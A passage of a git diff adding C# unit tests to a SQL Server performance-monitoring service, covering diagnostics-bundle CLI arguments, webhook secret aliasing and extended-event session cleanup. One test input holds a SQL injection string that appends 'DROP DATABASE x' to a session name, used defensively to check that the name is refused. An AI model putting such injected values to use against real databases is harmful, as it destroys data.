+            await ExecAsync(source, $"DROP FUNCTION config.{StoreStatementStats.InfoFunctionName}()", ct);
+
+            var broken = await DiagnosticsBundleRunner.BuildAsync(options, config, scratch.ConnectionString, source, null, null, ct);
+            var tree = JsonNode.Parse(broken.Text!)!;
+
+            /* The exit code reports a partial bundle and the manifest agrees: the section reads "error", the status a section that throws gets. */
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.PartialBundle, broken.ExitCode);
+            Assert.Equal("error", ManifestStatus(tree, "store_statements"));
+
+            /* The section says so itself, and keeps both members: the cumulative one with the tool's own error, the history one as it read. */
+            var section = tree["sections"]!["store_statements"]!;
+            Assert.Equal("error", section["status"]!.GetValue<string>());
+            Assert.Equal("error", section["cumulative"]!["status"]!.GetValue<string>());
+            Assert.Contains("get_store_query_stats", section["cumulative"]!["message"]!.GetValue<string>(), StringComparison.Ordinal);
+            Assert.NotNull(section["history"]);
+            Assert.NotEqual("error", section["history"]!["status"]?.GetValue<string>());
+
+            /* Nothing else in the bundle was marked failed by it. */
+            Assert.Equal(
+                new[] { "store_statements" },
+                tree["manifest"]!["sections"]!.AsArray().Where(s => s!["status"]!.GetValue<string>() == "error").Select(s => s!["name"]!.GetValue<string>()).ToArray());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void TheBundle_ReadsNoHistoryTableItself_ExceptTheExistenceProbe()
+    {
+        /* Before #5097 the runner selected from both V163 tables and the reader function itself. Now the rows and the text come from the tool. */
+        var source = File.ReadAllText(Path.Combine(RepoRoot(), "Darling", "PerformanceMonitor.Darling.Service", "DiagnosticsBundleRunner.cs"));
+
+        Assert.DoesNotContain("FROM collect.store_statement", source, StringComparison.Ordinal);
+        Assert.DoesNotContain(StoreStatementStats.FunctionName, source, StringComparison.Ordinal);
+        Assert.Contains("to_regclass('collect.store_statement_history')", source, StringComparison.Ordinal);
+        Assert.Contains("DarlingMcpStoreQueryHistoryTools.GetStoreQueryHistoryUncut(", source, StringComparison.Ordinal);
+    }
+
+    private static string RepoRoot([CallerFilePath] string thisFile = "")
+    {
+        var dir = Path.GetDirectoryName(thisFile);
+        while (dir is not null && !File.Exists(Path.Combine(dir, "PerformanceMonitor.sln")))
+        {
+            dir = Path.GetDirectoryName(dir);
+        }
+
+        Assert.True(dir is not null, "the repository root was not found above " + thisFile);
+        return dir!;
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs b/Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs
new file mode 100644
index 0000000000..151adc0ab3
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleVerbTests.cs
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>#5097: the <c>--diagnostics-bundle</c> verb's recognition, usage and argument errors.</summary>
+public sealed class DiagnosticsBundleVerbTests
+{
+    [Theory]
+    [InlineData("--diagnostics-bundle")]
+    [InlineData("--DIAGNOSTICS-BUNDLE")]
+    [InlineData("--diag-bundle")]
+    [InlineData("--Diag-Bundle")]
+    public void IsDiagnosticsBundleVerb_AcceptsBothSpellingsInAnyCase(string arg)
+    {
+        Assert.True(DarlingCliCommands.IsDiagnosticsBundleVerb(arg));
+        Assert.True(DarlingCliCommands.IsKnownVerb(arg));
+        Assert.Equal(StartupAction.RunKnownVerb, DarlingCliCommands.ClassifyStartupArgs(new[] { arg, "x.json" }));
+    }
+
+    [Theory]
+    [InlineData("--diagnostics")]
+    [InlineData("--diag")]
+    [InlineData("diagnostics-bundle")]
+    [InlineData("--diagnostics-bundles")]
+    [InlineData("")]
+    public void IsDiagnosticsBundleVerb_RejectsNearMisses(string arg)
+    {
+        Assert.False(DarlingCliCommands.IsDiagnosticsBundleVerb(arg));
+    }
+
+    [Fact]
+    public void UsageText_NamesTheVerb()
+    {
+        Assert.Contains("--diagnostics-bundle <path>", DarlingCliCommands.UsageText(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ProgramDispatch_HasABlockForTheVerb()
+    {
+        var program = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "Program.cs").ReplaceLineEndings("\n");
+        Assert.Contains("DarlingCliCommands.IsDiagnosticsBundleVerb(args[0])", program, StringComparison.Ordinal);
+        Assert.Contains("DarlingCliCommands.DiagnosticsBundleAsync(args.Skip(1).ToArray()", program, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ParseArgs_ReadsEveryOption_AndAppendsJson()
+    {
+        var (options, error) = DiagnosticsBundle.ParseArgs(new[] { "out", "--hours", "48", "--server", "alpha-01", "--log-dir", "/x", "--config", "/c.json", "--alias-map", "/m.txt", "--force" });
+        Assert.Null(error);
+        Assert.NotNull(options);
+        Assert.Equal("out.json", options!.OutputPath);
+        Assert.Equal(48, options.Hours);
+        Assert.Equal("alpha-01", options.ServerName);
+        Assert.Equal("/x", options.LogDirectory);
+        Assert.Equal("/c.json", options.ConfigPath);
+        Assert.Equal("/m.txt", options.AliasMapPath);
+        Assert.True(options.Force);
+        Assert.Equal(DiagnosticsBundle.DefaultHours, DiagnosticsBundle.ParseArgs(new[] { "o.txt" }).Options!.Hours);
+        Assert.Equal("o.txt", DiagnosticsBundle.ParseArgs(new[] { "o.txt" }).Options!.OutputPath);
+    }
+
+    public static TheoryData<string> BadArgumentLines => new()
+    {
+        "",
+        "a.json --hours 0",
+        "a.json --hours 169",
+        "a.json --hours abc",
+        "a.json --hours",
+        "a.json b.json",
+        "a.json --nope",
+        "a.json --server",
+    };
+
+    [Theory]
+    [MemberData(nameof(BadArgumentLines))]
+    public async Task ArgumentErrors_ExitOne_AndWriteNothing(string line)
+    {
+        var args = line.Split(' ', StringSplitOptions.RemoveEmptyEntries);
+        var root = Directory.CreateTempSubdirectory("darling-bundle-args-");
+        try
+        {
+            var rooted = args.Select(a => a.EndsWith(".json", StringComparison.Ordinal) ? Path.Combine(root.FullName, a) : a).ToArray();
+            var exit = await DarlingCliCommands.DiagnosticsBundleAsync(rooted, new StringWriter(), new StringWriter(), CancellationToken.None);
+            Assert.Equal(DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError, exit);
+            Assert.Empty(root.GetFiles());
+        }
+        finally
+        {
+            root.Delete(recursive: true);
+        }
+    }
+
+    [Fact]
+    public void ExitCodes_AreTheDocumentedSix()
+    {
+        Assert.Equal(new[] { 0, 1, 2, 3, 4, 5 }, new[]
+        {
+            DarlingCliCommands.DiagnosticsBundleExitCode.Ok, DarlingCliCommands.DiagnosticsBundleExitCode.ConfigError,
+            DarlingCliCommands.DiagnosticsBundleExitCode.StoreUnreachable, DarlingCliCommands.DiagnosticsBundleExitCode.PartialBundle,
+            DarlingCliCommands.DiagnosticsBundleExitCode.OutputError, DarlingCliCommands.DiagnosticsBundleExitCode.LeakGuard,
+        });
+    }
+}
diff --git a/Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs b/Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs
new file mode 100644
index 0000000000..4ba4e01ad9
--- /dev/null
+++ b/Darling/Darling.Tests/DiagnosticsBundleWebhookOpenTests.cs
@@ -0,0 +1,167 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using Microsoft.Extensions.Logging.Abstractions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Notifications;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #5366: a diagnostics bundle opens the sealed webhook values it is given a key for, so the hosts and values they hold
+/// are aliased in the service log text. With no key, or a key that does not open them, the bundle carries one line saying
+/// webhook hosts could not be aliased.
+/// </summary>
+public sealed class DiagnosticsBundleWebhookOpenTests
+{
+    private const string TeamsHost = "hooks.example.test";
+    private const string TeamsUrl = "https://hooks.example.test/teams/not-real-path";
+    private const string RouteUrl = "https://routed.example.test/slack/not-real-path";
+    private const string HeaderValue = "not-real-header-value";
+
+    private static readonly PasswordPrivateKey Key = NewKey();
+
+    private static string Seal(IPasswordKeyRing ring, string slot, string row, string value, string? proxy = null, string? boundUrl = null) =>
+        ring.Seal(value, PasswordBinding.ForWebhook(slot, row, proxy, boundUrl));
+
+    private static DarlingConfig SealedConfig(IPasswordKeyRing ring)
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = Seal(ring, "teams", PasswordBinding.WebhookSettingsRow, TeamsUrl);
+        config.Webhooks.GenericUrl = Seal(ring, "generic", PasswordBinding.WebhookSettingsRow, "https://generic.example.test/hook");
+        config.Webhooks.GenericHeaders = Seal(
+            ring, "generic_headers", PasswordBinding.WebhookSettingsRow, "{\"X-Fake-Key\":\"" + HeaderValue + "\"}", null, config.Webhooks.GenericUrl);
+        config.NotificationRoutes = new[]
+        {
+            new NotificationRoute(
+                7, "Deadlocks Detected", "", Seal(ring, "slack", PasswordBinding.WebhookRouteRow(7), RouteUrl), "", "", "", true),
+        };
+        return config;
+    }
+
+    private static string LogLine => $"post to {TeamsUrl} then {RouteUrl} with {HeaderValue} on host {TeamsHost} and routed.example.test";
+
+    [Fact]
+    public void ASealedWebhookValue_IsOpenedWithTheRing_AndItsHostsAndValuesAreAliased()
+    {
+        var ring = DarlingPasswordKey.FromPrivateKey(Key);
+        var aliaser = new BundleAliaser();
+
+        var notes = DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, SealedConfig(ring), ring);
+        var text = aliaser.Alias(LogLine);
+
+        Assert.Empty(notes);
+        Assert.DoesNotContain(TeamsHost, text, StringComparison.Ordinal);
+        Assert.DoesNotContain("routed.example.test", text, StringComparison.Ordinal);
+        Assert.DoesNotContain("not-real-path", text, StringComparison.Ordinal);
+        Assert.DoesNotContain(HeaderValue, text, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ASealedWebhookValue_WithNoRing_AddsTheOneNote()
+    {
+        var aliaser = new BundleAliaser();
+        var config = SealedConfig(DarlingPasswordKey.FromPrivateKey(Key));
+
+        var notes = DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, config, keyRing: null);
+
+        Assert.Equal(new[] { DiagnosticsBundle.WebhookHostsNotAliasedNote }, notes.ToArray());
+    }
+
+    [Fact]
+    public void ASealedWebhookValue_WithARingThatHoldsNoKey_AddsTheOneNote()
+    {
+        var aliaser = new BundleAliaser();
+        var config = SealedConfig(DarlingPasswordKey.FromPrivateKey(Key));
+
+        var notes = DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, config, DarlingPasswordKey.Refusing("no key"));
+
+        Assert.Equal(new[] { DiagnosticsBundle.WebhookHostsNotAliasedNote }, notes.ToArray());
+    }
+
+    [Fact]
+    public void ASealedWebhookValue_WithAnotherKeysRing_AddsTheOneNote()
+    {
+        using var other = PasswordPrivateKey.Generate();
+        var aliaser = new BundleAliaser();
+        var config = SealedConfig(DarlingPasswordKey.FromPrivateKey(Key));
+
+        var notes = DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, config, DarlingPasswordKey.FromPrivateKey(other));
+
+        Assert.Equal(new[] { DiagnosticsBundle.WebhookHostsNotAliasedNote }, notes.ToArray());
+    }
+
+    [Fact]
+    public void AConfigWithNoSealedValue_AddsNoNote_WithOrWithoutARing()
+    {
+        var config = new DarlingConfig();
+        config.Webhooks.TeamsUrl = TeamsUrl;
+
+        Assert.Empty(DiagnosticsBundle.SeedNotificationIdentifiers(new BundleAliaser(), config, keyRing: null));
+        Assert.Empty(DiagnosticsBundle.SeedNotificationIdentifiers(new BundleAliaser(), config, DarlingPasswordKey.FromPrivateKey(Key)));
+    }
+
+    [Fact]
+    public void SeedFromConfig_CarriesTheNoteAmongItsOwn()
+    {
+        var config = SealedConfig(DarlingPasswordKey.FromPrivateKey(Key));
+
+        var notes = DiagnosticsBundle.SeedFromConfig(new BundleAliaser(), config, null);
+
+        Assert.Contains(DiagnosticsBundle.WebhookHostsNotAliasedNote, notes);
+    }
+
+    [Fact]
+    public void TheCliRing_ReadsTheKeyFileReadOnly_AndOpensWhatTheServiceSealed()
+    {
+        var root = Path.Combine(Path.GetTempPath(), "darling-bundle-key-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(root);
+        try
+        {
+            var configPath = Path.Combine(root, "darling.json");
+            var config = new DarlingConfig();
+            config.Postgres.Managed = false;
+            var directory = DarlingLogHashKeyFile.DirectoryFor(config, configPath);
+
+            /* No file yet: no ring, and the note follows. The lookup creates nothing. */
+            Assert.Null(DarlingCliSealKey.TryOpenFileRing(config, configPath, NullLogger.Instance));
+            Assert.False(Directory.Exists(directory));
+
+            var generated = DarlingPasswordKeyFile.Generate(directory, () => Key.ExportPkcs8(), NullLogger.Instance);
+            Assert.Null(generated.Refusal);
+
+            var ring = DarlingCliSealKey.TryOpenFileRing(config, configPath, NullLogger.Instance);
+            Assert.NotNull(ring);
+
+            var sealedConfig = new DarlingConfig();
+            sealedConfig.Webhooks.TeamsUrl = Seal(DarlingPasswordKey.FromPrivateKey(Key), "teams", PasswordBinding.WebhookSettingsRow, TeamsUrl);
+            var aliaser = new BundleAliaser();
+
+            var notes = DiagnosticsBundle.SeedNotificationIdentifiers(aliaser, sealedConfig, ring);
+
+            Assert.Empty(notes);
+            Assert.DoesNotContain(TeamsHost, aliaser.Alias("host " + TeamsHost), StringComparison.Ordinal);
+        }
+        finally
+        {
+            Directory.Delete(root, recursive: true);
+        }
+    }
+
+    private static PasswordPrivateKey NewKey()
+    {
+        using var rsa = RSA.Create(DarlingPasswordKeyFile.KeyBits);
+        return PasswordPrivateKey.FromPkcs8(rsa.ExportPkcs8PrivateKey());
+    }
+}
diff --git a/Darling/Darling.Tests/DocCommentHygieneTests.cs b/Darling/Darling.Tests/DocCommentHygieneTests.cs
index 4ee8248483..f1fff29718 100644
--- a/Darling/Darling.Tests/DocCommentHygieneTests.cs
+++ b/Darling/Darling.Tests/DocCommentHygieneTests.cs
@@ -78,6 +78,8 @@ namespace Darling.Tests;
 /// (<c>HostHeaderGuardTests</c>, <c>DarlingStoreUpgradeTests</c>), which is where someone looks for this
 /// kind of guard.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
 public sealed class DocCommentHygieneTests
 {
     /// <summary>
@@ -133,6 +135,46 @@ the second one is usually the insertion point that caused the stacking. */
             string.Join("\n", offenders));
     }
 
+    /// <summary>
+    /// No C# source file carries a raw control byte (#5320). A literal 0x01 inside a char literal compiles and
+    /// runs, but it is invisible in an editor and a diff, and <c>file</c> reports the whole file as "data";
+    /// <c>'\u0001'</c> is the same value written where a reader can see it. Tab, line feed and carriage return
+    /// are layout and stay allowed.
+    /// </summary>
+    [Fact]
+    public void NoSourceFileCarriesARawControlByte()
+    {
+        var root = RepoRootOrFail();
+
+        var offenders = new List<string>();
+        foreach (var file in SourceFiles(root))
+        {
+            var bytes = File.ReadAllBytes(file);
+            for (var i = 0; i < bytes.Length; i++)
+            {
+                var b = bytes[i];
+                if (b < 0x20 && b != (byte)'\t' && b != (byte)'\n' && b != (byte)'\r')
+                {
+                    var line = 1;
+                    for (var j = 0; j < i; j++)
+                    {
+                        if (bytes[j] == (byte)'\n')
+                        {
+                            line++;
+                        }
+                    }
+
+                    offenders.Add($"{Path.GetRelativePath(root, file)}:{line} (0x{b:X2})");
+                    break;
+                }
+            }
+        }
+
+        Assert.True(offenders.Count == 0,
+            "Raw control bytes found in C# source. Write the character as an escape ('\\u0001') so the value is " +
+            "visible in an editor and a diff:\n\n" + string.Join("\n", offenders));
+    }
+
     /// <summary>
     /// Every doc run closes exactly the <c>&lt;summary&gt;</c> elements it opens (#2940).
     ///
@@ -636,13 +678,6 @@ private static readonly (string Label, string Meaning)[] CrefBoundKinds =
         ["CallerMemberNameAttribute"] =
             "OUTSIDE. Same elision as the entry above.",
 
-        ["HostString.Host"] =
-            "OUTSIDE. Microsoft.AspNetCore.Http.HostString, reached through a property chain rather than "
-            + "named, so the type name appears in no code here.",
-
-        ["IConvertible"] =
-            "OUTSIDE. System.IConvertible, named only to explain what a conversion does NOT go through.",
-
         ["JsonEncodedText.Encode(string)"] =
             "OUTSIDE, and it is important that this entry says so rather than DANGLING: the compiler "
             + "rejects this target too, but for the unrelated reason that the one-argument overload does "
diff --git a/Darling/Darling.Tests/DockerfileSdkPinTests.cs b/Darling/Darling.Tests/DockerfileSdkPinTests.cs
index 8875c0d293..7dae452fa5 100644
--- a/Darling/Darling.Tests/DockerfileSdkPinTests.cs
+++ b/Darling/Darling.Tests/DockerfileSdkPinTests.cs
@@ -29,6 +29,7 @@ namespace Darling.Tests;
 /// line on the Dependabot pull request itself. Otherwise the gap would surface later, when the next Darling
 /// change or the nightly image build fails with exit code 155.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class DockerfileSdkPinTests
 {
     private static readonly Regex s_buildStage = new(
diff --git a/Darling/Darling.Tests/DrillDownDopProvenanceParityTests.cs b/Darling/Darling.Tests/DrillDownDopProvenanceParityTests.cs
index b56371f53b..cd7af3a0f3 100644
--- a/Darling/Darling.Tests/DrillDownDopProvenanceParityTests.cs
+++ b/Darling/Darling.Tests/DrillDownDopProvenanceParityTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// meta-pins this file. Darling's text is read from the compiled constants rather than from source, so
 /// nothing here depends on parsing Darling's own file.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DrillDownDopProvenanceParityTests
 {
     private const string LiteFile = "Lite/Analysis/DrillDownCollector.Queries.cs";
diff --git a/Darling/Darling.Tests/DropXeSessionsHelpGuidanceTests.cs b/Darling/Darling.Tests/DropXeSessionsHelpGuidanceTests.cs
index 5c1c0d5003..488c6a3cb6 100644
--- a/Darling/Darling.Tests/DropXeSessionsHelpGuidanceTests.cs
+++ b/Darling/Darling.Tests/DropXeSessionsHelpGuidanceTests.cs
@@ -34,6 +34,11 @@ public void TheHelpLineForTheNamedForm_NamesAServerStillMonitored_AndSaysToRunIt
         Assert.DoesNotContain("no longer monitored", line, StringComparison.Ordinal);
         Assert.Contains("still monitors", line, StringComparison.Ordinal);
         Assert.Contains(BeforeRemoval, line, StringComparison.Ordinal);
+
+        /* #4961: removing a server drops this install's own sessions, so the line must not say the service never drops any. */
+        Assert.DoesNotContain("because the service never drops them", line, StringComparison.Ordinal);
+        Assert.Contains("Removing a server drops only this install's own sessions", line, StringComparison.Ordinal);
+        Assert.Contains("lists the sessions of other installs and never drops them", line, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -44,6 +49,8 @@ public void TheVerbsOwnUsage_SaysToRunTheNamedFormBeforeRemoval_AndPrintSqlAfter
         Assert.DoesNotContain("no longer monitored", usage, StringComparison.Ordinal);
         Assert.Contains(BeforeRemoval, usage, StringComparison.Ordinal);
         Assert.Contains("after the removal, use --print-sql", usage, StringComparison.Ordinal);
+        Assert.Contains("Removing a server drops only this install's own sessions", usage, StringComparison.Ordinal);
+        Assert.Contains("leaves this install's long query session in place, with a note", usage, StringComparison.Ordinal);
         Assert.All(usage, ch => Assert.True(ch < 128, $"usage text must be ASCII; found U+{(int)ch:X4}"));
     }
 }
diff --git a/Darling/Darling.Tests/DropXeSessionsPerInstallTests.cs b/Darling/Darling.Tests/DropXeSessionsPerInstallTests.cs
new file mode 100644
index 0000000000..c153bf59df
--- /dev/null
+++ b/Darling/Darling.Tests/DropXeSessionsPerInstallTests.cs
@@ -0,0 +1,411 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4961: each install makes its own long-query session, and on Azure SQL Database its own deadlock and blocked-process
+/// fallbacks, all named from the install's id. <c>--drop-xe-sessions</c> drops this install's sessions with the shared ones,
+/// and lists the sessions of other installs with a guarded DROP for the operator to run, which it never runs itself.
+/// </summary>
+public sealed class DropXeSessionsPerInstallTests
+{
+    private const string Id = "1a2b3c4d";
+    private const string OwnLongQuery = "PerformanceMonitor_Darling_1a2b3c4d_LongQueryCompletions";
+    private const string OwnDeadlock = "PerformanceMonitor_Darling_1a2b3c4d_Deadlock";
+    private const string OwnBlocked = "PerformanceMonitor_Darling_1a2b3c4d_BlockedProcess";
+    private const string OtherLiteLongQuery = "PerformanceMonitor_Lite_ffeeddcc_LongQueryCompletions";
+    private const string OtherDarlingDeadlock = "PerformanceMonitor_Darling_ffeeddcc_Deadlock";
+    private const string OtherDarlingBlocked = "PerformanceMonitor_Darling_ffeeddcc_BlockedProcess";
+    private const string SharedDeadlock = "PerformanceMonitor_Deadlock";
+    private const string SharedBlocked = "PerformanceMonitor_BlockedProcess";
+    private const string Legacy = "PerformanceMonitor_LongQueryCompletions";
+
+    // ---- the names ------------------------------------------------------------------------------------------------------
+
+    [Fact]
+    public void TheInstallsNames_AreItsLongQuerySessionAndTheTwoAzureFallbacks()
+    {
+        Assert.Equal(new[] { OwnLongQuery, OwnDeadlock, OwnBlocked }, DarlingXeSessionCleanup.InstallSessionNames(Id));
+        Assert.Equal(
+            new[] { SharedDeadlock, SharedBlocked, Legacy, OwnLongQuery, OwnDeadlock, OwnBlocked },
+            DarlingXeSessionCleanup.NamesToDrop(Id));
+    }
+
+    [Theory]
+    [InlineData(null)]
+    [InlineData("")]
+    [InlineData("1A2B3C4D")]
+    [InlineData("1a2b3c4")]
+    [InlineData("1a2b3c4d ")]
+    public void WithNoUsableId_TheVerbHandlesNoInstallName(string? id)
+    {
+        Assert.Empty(DarlingXeSessionCleanup.InstallSessionNames(id));
+        Assert.Equal(DarlingXeSessionCleanup.SessionNames.ToArray(), DarlingXeSessionCleanup.NamesToDrop(id));
+        Assert.False(DarlingXeSessionCleanup.IsOtherInstallSessionName(OtherLiteLongQuery, id));
+    }
+
+    [Fact]
+    public void PlanDrops_KeepsThisInstallsNamesAndTheSharedOnes_AndIgnoresAnotherInstalls()
+    {
+        var plan = DarlingXeSessionCleanup.PlanDrops(
+            [
+                new ExistingXeSession(OtherLiteLongQuery, XeSessionScope.Server),
+                new ExistingXeSession(OwnLongQuery, XeSessionScope.Server),
+                new ExistingXeSession(Legacy, XeSessionScope.Server),
+                new ExistingXeSession(SharedDeadlock, XeSessionScope.Server),
+                new ExistingXeSession(OtherDarlingDeadlock, XeSessionScope.Database, "alpha"),
+                new ExistingXeSession(OwnDeadlock, XeSessionScope.Database, "alpha"),
+            ],
+            Id);
+
+        Assert.Equal(
+            new[]
+            {
+                "DROP EVENT SESSION [PerformanceMonitor_Deadlock] ON SERVER;",
+                "DROP EVENT SESSION [PerformanceMonitor_LongQueryCompletions] ON SERVER;",
+                "DROP EVENT SESSION [PerformanceMonitor_Darling_1a2b3c4d_LongQueryCompletions] ON SERVER;",
+                "DROP EVENT SESSION [PerformanceMonitor_Darling_1a2b3c4d_Deadlock] ON DATABASE;",
+            },
+            plan.Select(d => d.Statement).ToArray());
+    }
+
+    [Fact]
+    public void PlanDrops_WithNoId_KeepsOnlyTheSharedNames()
+    {
+        var plan = DarlingXeSessionCleanup.PlanDrops(
+            [
+                new ExistingXeSession(OwnLongQuery, XeSessionScope.Server),
+                new ExistingXeSession(SharedBlocked, XeSessionScope.Server),
+            ]);
+
+        Assert.Equal(new[] { "DROP EVENT SESSION [PerformanceMonitor_BlockedProcess] ON SERVER;" }, plan.Select(d => d.Statement).ToArray());
+    }
+
+    [Theory]
+    [InlineData(XeSessionScope.Server, "SERVER")]
+    [InlineData(XeSessionScope.Database, "DATABASE")]
+    public void DropStatement_AcceptsThisInstallsNames_AndRefusesEveryOtherInstalls(XeSessionScope scope, string on)
+    {
+        foreach (var own in new[] { OwnLongQuery, OwnDeadlock, OwnBlocked })
+        {
+            Assert.Equal($"DROP EVENT SESSION [{own}] ON {on};", DarlingXeSessionCleanup.DropStatement(own, scope, Id));
+
+            /* With no id the same name is nobody's to drop, and a different id's name is another install's. */
+            Assert.Throws<ArgumentException>(() => DarlingXeSessionCleanup.DropStatement(own, scope));
+            Assert.Throws<ArgumentException>(() => DarlingXeSessionCleanup.DropStatement(own, scope, "ffeeddcc"));
+            Assert.Throws<ArgumentException>(() => DarlingXeSessionCleanup.DropStatement(own.ToUpperInvariant(), scope, Id));
+        }
+
+        foreach (var other in new[] { OtherLiteLongQuery, OtherDarlingDeadlock, OtherDarlingBlocked, "system_health" })
+        {
+            Assert.Throws<ArgumentException>(() => DarlingXeSessionCleanup.DropStatement(other, scope, Id));
+        }
+    }
+
+    // ---- the listing of other installs' sessions ------------------------------------------------------------------------
+
+    [Theory]
+    [InlineData(OtherLiteLongQuery, true)]
+    [InlineData(OtherDarlingDeadlock, true)]
+    [InlineData(OtherDarlingBlocked, true)]
+    [InlineData(OwnLongQuery, false)]
+    [InlineData(OwnDeadlock, false)]
+    [InlineData(OwnBlocked, false)]
+    [InlineData(SharedDeadlock, false)]
+    [InlineData(SharedBlocked, false)]
+    [InlineData(Legacy, false)]
+    [InlineData("PerformanceMonitor_Darling_notanid_Deadlock", false)]
+    [InlineData("PerformanceMonitor_Other_ffeeddcc_Deadlock", false)]
+    [InlineData("PerformanceMonitor_Darling_ffeeddcc_Deadlock]; DROP DATABASE x; --", false)]
+    [InlineData("system_health", false)]
+    public void AnotherInstallsSession_IsRecognizedByItsExactShape_AndNeverThisInstallsOwn(string name, bool expected) =>
+        Assert.Equal(expected, DarlingXeSessionCleanup.IsOtherInstallSessionName(name, Id));
+
+    [Theory]
+    [InlineData(XeSessionScope.Server, "FROM sys.server_event_sessions AS ses", "ses")]
+    [InlineData(XeSessionScope.Database, "FROM sys.database_event_sessions AS des", "des")]
+    public void TheFindOfOtherInstalls_MatchesTheThreePerInstallShapes_WithTheUnderscoresEscaped(XeSessionScope scope, string from, string alias)
+    {
+        var sql = DarlingXeSessionCleanup.ComposeFindOthersSql(scope);
+
+        Assert.Contains(from, sql, StringComparison.Ordinal);
+        Assert.StartsWith(Environment.NewLine + "SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED;", sql.ReplaceLineEndings(Environment.NewLine), StringComparison.Ordinal);
+        Assert.Contains("SELECT /* PerformanceMonitorDarling */", sql, StringComparison.Ordinal);
+        var patterns = Regex.Matches(sql, "N'([^']*)'").Select(m => m.Groups[1].Value).ToArray();
+        Assert.Equal(
+            new[] { "PerformanceMonitor[_]%[_]LongQueryCompletions", "PerformanceMonitor[_]%[_]Deadlock", "PerformanceMonitor[_]%[_]BlockedProcess" },
+            patterns);
+        foreach (var pattern in patterns)
+        {
+            Assert.Contains($"{alias}.name LIKE N'{pattern}'", sql, StringComparison.Ordinal);
+        }
+
+        /* The shapes need a middle segment, so neither the shared names nor the old shared long-query name can match. */
+        var regexes = patterns.Select(p => new Regex("^" + Regex.Escape(p.Replace("[_]", "_", StringComparison.Ordinal)).Replace("%", ".*", StringComparison.Ordinal) + "$")).ToArray();
+        bool Matches(string name) => regexes.Any(r => r.IsMatch(name));
+        Assert.All(new[] { OtherLiteLongQuery, OtherDarlingDeadlock, OtherDarlingBlocked, OwnLongQuery }, name => Assert.True(Matches(name), name));
+        Assert.All(new[] { SharedDeadlock, SharedBlocked, Legacy }, name => Assert.False(Matches(name), name));
+    }
+
+    // ---- the verb: drops this install's sessions and lists the others' ---------------------------------------------------
+
+    private sealed class FakeTarget : IXeSessionCleanupTarget
+    {
+        public List<ExistingXeSession> Found { get; } = [];
+
+        public List<ExistingXeSession> Others { get; } = [];
+
+        public List<XeSessionDrop> Dropped { get; } = [];
+
+        public Task<XeSessionSearch> FindSessionsAsync(CancellationToken cancellationToken) =>
+            Task.FromResult(new XeSessionSearch(Found.ToList(), []) { Others = Others.ToList() });
+
+        public Task DropAsync(XeSessionDrop drop, CancellationToken cancellationToken)
+        {
+            Dropped.Add(drop);
+            return Task.CompletedTask;
+        }
+    }
+
+    private static async Task<(int Exit, string Output, string Error)> RunAsync(FakeTarget target, bool dryRun, string? installId = Id)
+    {
+        var output = new StringWriter();
+        var error = new StringWriter();
+        var exit = await DarlingXeSessionCleanup.RunAsync("sql01", dryRun, target, output, error, CancellationToken.None, installId);
+        return (exit, output.ToString(), error.ToString());
+    }
+
+    private static string GuardedDropText(string name, string view, string alias, string on) =>
+        string.Join(
+            Environment.NewLine,
+            "    IF EXISTS",
+            "    (",
+            "        SELECT",
+            "            1/0",
+            $"        FROM sys.{view} AS {alias}",
+            $"        WHERE {alias}.name = N'{name}'",
+            "    )",
+            "    BEGIN",
+            $"        DROP EVENT SESSION [{name}] ON {on};",
+            "    END;");
+
+    [Fact]
+    public async Task TheVerb_DropsThisInstallsSessionsAndTheSharedOnes_AndListsOtherInstallsWithoutDroppingThem_OnServerScope()
+    {
+        var target = new FakeTarget();
